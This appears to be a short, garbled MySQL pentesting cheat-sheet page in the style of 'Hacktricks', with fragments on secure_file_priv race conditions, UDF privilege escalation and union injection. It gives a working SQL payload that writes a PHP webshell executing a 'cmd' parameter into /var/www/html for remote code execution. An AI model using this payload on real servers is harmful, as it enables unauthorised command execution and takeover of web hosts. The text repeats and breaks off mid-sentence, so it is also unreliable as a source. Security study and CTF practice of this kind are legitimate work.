[new] - Mysql Hacktricks Verified

In some older MySQL/MariaDB versions, a race condition exists between checking secure_file_priv and opening the file. Not reliable on patched systems, but for CTFs, try:

SELECT '' INTO OUTFILE '/var/www/html/shell.php'; to achieve Remote Code Execution (RCE). B. Privilege Escalation via UDF mysql hacktricks verified

: Merging your own queries with the original to fetch data. In some older MySQL/MariaDB versions, a race condition

SELECT '' INTO OUTFILE '/var/www/html/shell.php'; User Defined Functions (UDF) In some older MySQL/MariaDB versions

-- Write a PHP webshell (if secure_file_priv permits) SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';